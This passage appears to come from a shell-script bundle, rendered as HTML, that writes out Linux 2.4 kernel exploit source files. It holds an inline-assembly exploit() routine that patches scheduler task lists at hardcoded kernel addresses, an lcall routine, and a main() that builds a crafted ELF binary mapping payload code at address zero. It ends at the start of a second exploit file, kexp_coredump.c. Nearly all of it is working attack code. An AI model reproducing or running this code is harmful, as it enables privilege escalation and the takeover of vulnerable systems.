lock_depth;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Lock
depth */<br>
&nbsp;<br>
&nbsp;/*<br>
&nbsp; * offset 32 begins here on 32-bit platforms. We keep<br>
&nbsp; * all fields in a single cacheline that are needed for<br>
&nbsp; * the goodness() loop in schedule().<br>
&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; long counter;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; long nice;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
policy;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void *mm;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int processor;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *
cpus_runnable is ~0 if the process is not running on any<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * CPU. It's
(1 &lt;&lt; cpu) if it's running on a CPU. This mask<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * is updated
under the runqueue lock.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * To
determine whether a process might run on a CPU, this<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * mask is
AND-ed with cpus_allowed.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
cpus_runnable, cpus_allowed;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * (only the
'next' pointer fits into the cacheline, but<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * that's
just fine.)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct list_head
run_list;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
sleep_time;<br>
&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct task_struct
*next_task, *prev_task;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void
*active_mm;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct list_head
local_pages;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned int
allocation_order, nr_local_pages;<br>
&nbsp;<br>
&nbsp;/* task state */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void *binfmt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int exit_code,
exit_signal;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int
pdeath_signal;&nbsp; /*&nbsp; The signal sent when the parent
dies&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* ??? */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
personality;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int
did_exec:1;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned
task_dumpable:1;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t pid;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t pgrp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t
tty_old_pgrp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t session;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t tgid;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* boolean value
for session group leader */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int leader;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * pointers
to (original) parent process, youngest child, younger sibling,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * older
sibling, respectively.&nbsp; (p-&gt;father can be replaced with<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *
p-&gt;p_pptr-&gt;pid)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct task_struct
*p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct list_head
thread_group;<br>
&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* PID hash table
linkage. */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct task_struct
*pidhash_next;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct task_struct
**pidhash_pprev;<br>
&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct
list_head&nbsp;
wait_chldexit;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* for
wait4() */<br>
};<br>
<br>
static inline void __list_add(struct list_head *new,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct list_head *prev,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct list_head *next)<br>
{<br>
&nbsp;&nbsp; &nbsp;next-&gt;prev = new;<br>
&nbsp;&nbsp; &nbsp;new-&gt;next = next;<br>
&nbsp;&nbsp; &nbsp;new-&gt;prev = prev;<br>
&nbsp;&nbsp; &nbsp;prev-&gt;next = new;<br>
}<br>
<br>
static inline void add_task_list(struct task_struct *head, struct
task_struct *tsk)<br>
{<br>
&nbsp;&nbsp; &nbsp;tsk-&gt;next_task = head;<br>
&nbsp;&nbsp; &nbsp;tsk-&gt;prev_task = head-&gt;prev_task;<br>
&nbsp;&nbsp; &nbsp;head-&gt;prev_task-&gt;next_task = tsk;<br>
&nbsp;&nbsp; &nbsp;head-&gt;prev_task = tsk;<br>
}<br>
<br>
static inline struct task_struct * get_current(void)<br>
{<br>
&nbsp;&nbsp; &nbsp;struct task_struct *current;<br>
&nbsp;&nbsp; &nbsp;__asm__("andl %%esp,%0; ":"=r" (current) : "0"
(~8191UL));<br>
&nbsp;&nbsp; &nbsp;return current;<br>
}<br>
<br>
void exploit_start(void) {}<br>
void exploit()<br>
{<br>
&nbsp;&nbsp; &nbsp;__asm__ __volatile__ ("<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;nop<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;nop<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;jmp x1<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;nop<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;nop<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;nop<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;nop<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;nop<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;nop<br>
&nbsp;&nbsp; &nbsp;x1:&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;cli ## must do<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;pusha<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;pushl %esp<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;popl %eax<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;sidt (%eax)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;movl 2(%eax),%eax<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;xorl %ebx,%ebx<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;movb \$0xfb,%bl<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;rol \$0x3,%ebx<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;add %ebx,%eax<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;movw 6(%eax),%di<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;rol \$16,%edi<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;movw (%eax),%di<br>
&nbsp;&nbsp; &nbsp;find_smp:<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;inc %edi<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;movb (%edi),%bl<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;cmpb \$0xe8,%bl<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;jnz find_smp<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;inc %edi<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;add (%edi),%edi<br>
&nbsp;&nbsp; &nbsp;find:<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;dec %edi<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;movl (%edi),%eax<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;and \$0x0000ffff,%eax<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;cmpl \$0x00ec83,%eax<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;jnz find<br>
&nbsp;&nbsp; &nbsp;aaaa:<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;jmp xxx<br>
&nbsp;&nbsp; &nbsp;bback:<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;push %edi<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;ret<br>
&nbsp;&nbsp; &nbsp;xxx:<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;call bback<br>
&nbsp;&nbsp; &nbsp;bbbbbb:<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;cli ## must do<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;popa<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;nop<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;ret<br>
&nbsp;&nbsp; &nbsp;");<br>
<br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp; &nbsp;struct list_head *runqueue_head;<br>
&nbsp;&nbsp; &nbsp;struct task_struct *init_task;<br>
&nbsp;&nbsp; &nbsp;struct task_struct *current, *parent,
*copy_task;<br>
&nbsp;&nbsp; &nbsp;int i;<br>
<br>
&nbsp;&nbsp; &nbsp;runqueue_head = (void *) 0xc0335ec0;<br>
&nbsp;&nbsp; &nbsp;init_task = (void *) 0xc037c000;<br>
<br>
&nbsp;&nbsp; &nbsp;//__asm__ ("cli");<br>
&nbsp;&nbsp; &nbsp;for(i = 0; i &lt; 100000000; i++) /* wait a
moment ... */<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;__asm__ __volatile__
("nop");<br>
<br>
&nbsp;&nbsp; &nbsp;__asm__ __volatile__ ("<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;movl (%1),%0;"<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;:"=r" (parent)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;:"r" (20)); /* task pointer
of parent */<br>
<br>
&nbsp;&nbsp; &nbsp;copy_task = parent-&gt;p_cptr;<br>
&nbsp;&nbsp; &nbsp;current = get_current();<br>
&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;runqueue_head-&gt;prev = runqueue_head;<br>
&nbsp;&nbsp; &nbsp;runqueue_head-&gt;next = runqueue_head;<br>
&nbsp;&nbsp; &nbsp;init_task-&gt;prev_task = init_task;<br>
&nbsp;&nbsp; &nbsp;init_task-&gt;next_task = init_task;<br>
<br>
/*<br>
&nbsp;&nbsp; &nbsp;for (i = 0; i &lt; 20; i++) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;tsk =
find_task_by_pid(i);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (tsk &amp;&amp;
tsk-&gt;state == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;__list_add(&amp;tsk-&gt;run_list, runqueue_head,
runqueue_head-&gt;next);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;add_task_list(&amp;init_task, tsk);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;}<br>
*/<br>
&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;if (parent-&gt;state == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;__list_add(&amp;parent-&gt;run_list, runqueue_head,
runqueue_head-&gt;next);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;add_task_list(init_task,
parent);<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;if (parent-&gt;p_pptr-&gt;state == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;__list_add(&amp;parent-&gt;p_pptr-&gt;run_list,
runqueue_head, runqueue_head-&gt;next);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;add_task_list(init_task,
parent-&gt;p_pptr);<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;memcpy(current, copy_task, sizeof(struct
task_struct));<br>
<br>
&nbsp;&nbsp; &nbsp;__list_add(&amp;current-&gt;run_list,
runqueue_head, runqueue_head-&gt;next);<br>
&nbsp;&nbsp; &nbsp;add_task_list(init_task, current);<br>
<br>
&nbsp;&nbsp; &nbsp;/*<br>
&nbsp;&nbsp; &nbsp; * current-&gt;p_opptr<br>
&nbsp;&nbsp; &nbsp; * current-&gt;p_pptr<br>
&nbsp;&nbsp; &nbsp; */<br>
&nbsp;&nbsp; &nbsp;current-&gt;p_cptr = NULL;<br>
&nbsp;&nbsp; &nbsp;current-&gt;p_ysptr = NULL;<br>
&nbsp;&nbsp; &nbsp;current-&gt;p_osptr = NULL;<br>
&nbsp;&nbsp; &nbsp;current-&gt;pid = 65535;<br>
&nbsp;&nbsp; &nbsp;current-&gt;state = -1;<br>
&nbsp;&nbsp; &nbsp;current-&gt;need_resched = 1;<br>
&nbsp;&nbsp; &nbsp;current-&gt;sigpending = 0;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
#ifdef __TEST_LCALL__<br>
&nbsp;&nbsp; &nbsp;i = 'A';<br>
&nbsp;&nbsp; &nbsp;for (;;)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;g_write(1, &amp;i, 1);<br>
&nbsp;&nbsp; &nbsp;for (;;) __asm__ __volatile__("hlt");<br>
#endif<br>
<br>
&nbsp;&nbsp; &nbsp;/* __asm__ ("sti"); */<br>
}<br>
<br>
/*<br>
extern exploit;<br>
__asm__ (<br>
"exploit:\n\t"<br>
&nbsp;&nbsp; &nbsp;"cli&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"hlt&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"int3&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;);<br>
*/<br>
<br>
void exploit_end(void) {}<br>
<br>
static inline g_syscall3(int, sigaction, int, signum, const struct
sigaction *, act,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;struct sigaction *,
oldact)<br>
<br>
void lcall(void);<br>
void lcall_end(void);<br>
<br>
void lcall(void)<br>
{<br>
&nbsp;&nbsp; &nbsp;struct sigaction old, new;<br>
&nbsp;&nbsp; &nbsp;void *loop_addr;<br>
<br>
&nbsp;&nbsp; &nbsp;__asm__ volatile (<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;"jmp get_loop_addr\n\t"<br>
&nbsp;&nbsp; &nbsp;"ret_loop_addr:\n\t"<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;"popl %0\n\t"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :"=m" (loop_addr)
:);<br>
<br>
&nbsp;&nbsp; &nbsp;bzero(&amp;new, sizeof(new));<br>
&nbsp;&nbsp; &nbsp;new.sa_handler = loop_addr;<br>
&nbsp;&nbsp; &nbsp;g_sigaction(SIGSEGV, &amp;new, &amp;old);<br>
<br>
&nbsp;&nbsp; &nbsp;__asm__ volatile (<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;"jmp do_lcall;"<br>
&nbsp;&nbsp; &nbsp;"get_loop_addr: "<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;"call ret_loop_addr;"<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;"ret;"<br>
&nbsp;&nbsp; &nbsp;"do_lcall:"<br>
&nbsp;&nbsp; &nbsp;);<br>
&nbsp;&nbsp; &nbsp;while (1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;__asm__ ("lcall \$0x7,
\$0x0");<br>
&nbsp;&nbsp; &nbsp;}<br>
}<br>
void lcall_end(void) {}<br>
<br>
int main()<br>
{<br>
#define ENTRY_OFFSET 4096<br>
&nbsp;&nbsp; &nbsp;int fd = -1;<br>
&nbsp;&nbsp; &nbsp;Elf32_Ehdr ehdr;<br>
&nbsp;&nbsp; &nbsp;Elf32_Phdr phdr;<br>
&nbsp;&nbsp; &nbsp;Elf32_Shdr shdr;<br>
&nbsp;&nbsp; &nbsp;int i;<br>
&nbsp;&nbsp; &nbsp;unsigned char code_align[4096];<br>
<br>
&nbsp;&nbsp; &nbsp;fd = open("lcall", O_WRONLY|O_CREAT|O_TRUNC,
S_IRWXU);<br>
&nbsp;&nbsp; &nbsp;if (fd == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("open lcall");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;memset(&amp;ehdr, 0, sizeof(ehdr));<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_MAG0] = 0x7f;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_MAG1] = 'E';<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_MAG2] = 'L';<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_MAG3] = 'F';<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_CLASS] = ELFCLASS32;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_DATA] = ELFDATA2LSB;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_VERSION] = EV_CURRENT;<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_type = ET_EXEC ;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_machine = EM_386;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_version = EV_CURRENT;<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ehsize = sizeof(Elf32_Ehdr);<br>
&nbsp;&nbsp; &nbsp;ehdr.e_phentsize = sizeof(Elf32_Phdr);<br>
&nbsp;&nbsp; &nbsp;ehdr.e_shentsize = sizeof(Elf32_Shdr);<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_phnum = 2;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_phoff = sizeof(Elf32_Ehdr);<br>
&nbsp;&nbsp; &nbsp;ehdr.e_shnum = 0;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_shoff = 0;<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_shstrndx = 0;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_flags = 0;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_entry = 0x08480000 + ENTRY_OFFSET;<br>
<br>
&nbsp;&nbsp; &nbsp;write(fd, &amp;ehdr, sizeof(ehdr)); /* Elf
header */<br>
<br>
&nbsp;&nbsp; &nbsp;phdr.p_type = PT_LOAD;<br>
&nbsp;&nbsp; &nbsp;phdr.p_offset = 0;<br>
&nbsp;&nbsp; &nbsp;phdr.p_vaddr = 0x08480000;<br>
&nbsp;&nbsp; &nbsp;phdr.p_paddr = phdr.p_vaddr;<br>
&nbsp;&nbsp; &nbsp;phdr.p_filesz = ENTRY_OFFSET +
sizeof(code_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_memsz = ENTRY_OFFSET +
sizeof(code_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_flags = PF_R|PF_X|PF_W;&nbsp;&nbsp;
&nbsp;<br>
&nbsp;&nbsp; &nbsp;phdr.p_align = 0x1000;<br>
<br>
&nbsp;&nbsp; &nbsp;write(fd, &amp;phdr, sizeof(phdr)); /* Phdr
header - PT_LOAD */<br>
<br>
&nbsp;&nbsp; &nbsp;phdr.p_type = PT_LOAD;<br>
&nbsp;&nbsp; &nbsp;phdr.p_offset = ENTRY_OFFSET +
sizeof(code_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_vaddr = 0x0;<br>
&nbsp;&nbsp; &nbsp;phdr.p_paddr = phdr.p_vaddr;<br>
&nbsp;&nbsp; &nbsp;phdr.p_filesz = sizeof(code_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_memsz = sizeof(code_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_flags = PF_R|PF_X|PF_W;&nbsp;&nbsp;
&nbsp;<br>
&nbsp;&nbsp; &nbsp;phdr.p_align = 0x1000;<br>
<br>
&nbsp;&nbsp; &nbsp;write(fd, &amp;phdr, sizeof(phdr)); /* Phdr
header - PT_LOAD */<br>
<br>
&nbsp;&nbsp; &nbsp;memset(code_align, '\x90',
sizeof(code_align));<br>
&nbsp;&nbsp; &nbsp;memcpy(code_align, lcall, &amp;lcall_end -
&amp;lcall);<br>
&nbsp;&nbsp; &nbsp;lseek(fd, ENTRY_OFFSET, SEEK_SET);<br>
&nbsp;&nbsp; &nbsp;write(fd, code_align, sizeof(code_align)); /*
part of TEXT Segment */<br>
<br>
&nbsp;&nbsp; &nbsp;/* virtual address 0x00000000:<br>
&nbsp;&nbsp; &nbsp; * [execdomain name pointer][handler for
syscalls][stack &amp; register save][jmp code][task pointer of
parent])<br>
&nbsp;&nbsp; &nbsp;
*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
4<br>
&nbsp;&nbsp; &nbsp; */<br>
&nbsp;&nbsp; &nbsp;memset(code_align, '\x90',
sizeof(code_align));<br>
&nbsp;&nbsp; &nbsp;memcpy(code_align,
"\x90\x90\xff\x25\x08\x00\x00\x00", 8); /* handler for syscalls
*/<br>
//&nbsp;&nbsp; &nbsp;memcpy(code_align,
"\x00\x00\x00\x00\x08\x00\x00\x00", 8); /* handler for syscalls
*/<br>
&nbsp;&nbsp; &nbsp;memcpy(code_align+8, &amp;exploit,
&amp;exploit_end - &amp;exploit);<br>
//&nbsp;&nbsp; &nbsp;memcpy(code_align, sc, sizeof(sc));<br>
&nbsp;&nbsp; &nbsp;lseek(fd, ENTRY_OFFSET + sizeof(code_align),
SEEK_SET);<br>
&nbsp;&nbsp; &nbsp;write(fd, code_align, sizeof(code_align)); /*
0x0 Segment for lcall27 */<br>
<br>
&nbsp;&nbsp; &nbsp;close(fd);<br>
&nbsp;&nbsp; &nbsp;return 0;<br>
err:<br>
&nbsp;&nbsp; &nbsp;if (fd != -1)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(fd);<br>
&nbsp;&nbsp; &nbsp;return -1;<br>
}<br>
__EOF__<br>
<br>
## kexp_coredump.c<br>
cat &lt;&lt; __EOF__ &gt; kexp_coredump.c<br>
/*<br>
&nbsp;* Written by :<br>
&nbsp;*&nbsp;&nbsp; &nbsp;grip2 &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&lt;gript2@hotmail.com&gt;<br>
&nbsp;*&nbsp;&nbsp; &nbsp;airsupply &nbsp;&nbsp;
&nbsp;&lt;airsupply@0x557.org&gt;<br>
&nbsp;*/<br>
<br>
#include &lt;stdio.h&gt;<br>
#include &lt;stdlib.h&gt;<br>
#include &lt;errno.h&gt;<br>
#include &lt;unistd.h&gt;<br>
<br>
#include &lt;sys/time.h&gt;<br>
#include &lt;sys/resource.h&gt;<br>
<br>
#define BINELF_OVERFLOW&nbsp;&nbsp; &nbsp;"overflow"<br>
#define BINELF_LCALL&nbsp;&nbsp; &nbsp;"lcall"<br>
<br>
#include &lt;elf.h&gt;<br>
#include &lt;sys/types.h&gt;<br>
#include &lt;sys/stat.h&gt;<br>
#include &lt;fcntl.h&gt;<br>
#include &lt;signal.h&gt;<br>
<br>
void *first_o_task = NULL;<br>
void *o_task, *y_task;<br>
void *parent_task = NULL;<br>
<br>
struct list_head {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct list_head *next,
*prev;<br>
};<br>
<br>
<br>
&nbsp;struct task_struct {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * offsets of
these are hardcoded elsewhere - touch with care<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>
